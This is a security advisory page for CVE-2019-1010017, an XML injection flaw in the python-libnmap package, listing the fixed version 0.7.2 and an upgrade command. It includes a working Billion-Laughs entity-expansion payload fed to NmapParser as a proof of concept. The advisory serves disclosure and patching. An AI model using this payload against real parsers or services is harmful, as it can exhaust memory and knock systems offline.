python-libnmap
Affected
- introduced
0, fixed0.7.2(ecosystem)
Fixed versions
0.7.2
Fix
- Fixed version
0.7.2pip install --upgrade python-libnmap==0.7.2
Advisory
Also known as: CVE-2019-1010017, PYSEC-2019-218
XML Injection in python-libnmap
Description
python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.
PoC
ty = NmapParser()
payload = """
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""
ty.parse(payload)High Basis: The source's own band: HIGH
0, fixed 0.7.2 (ecosystem)0.7.2
0.7.2pip install --upgrade python-libnmap==0.7.2Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0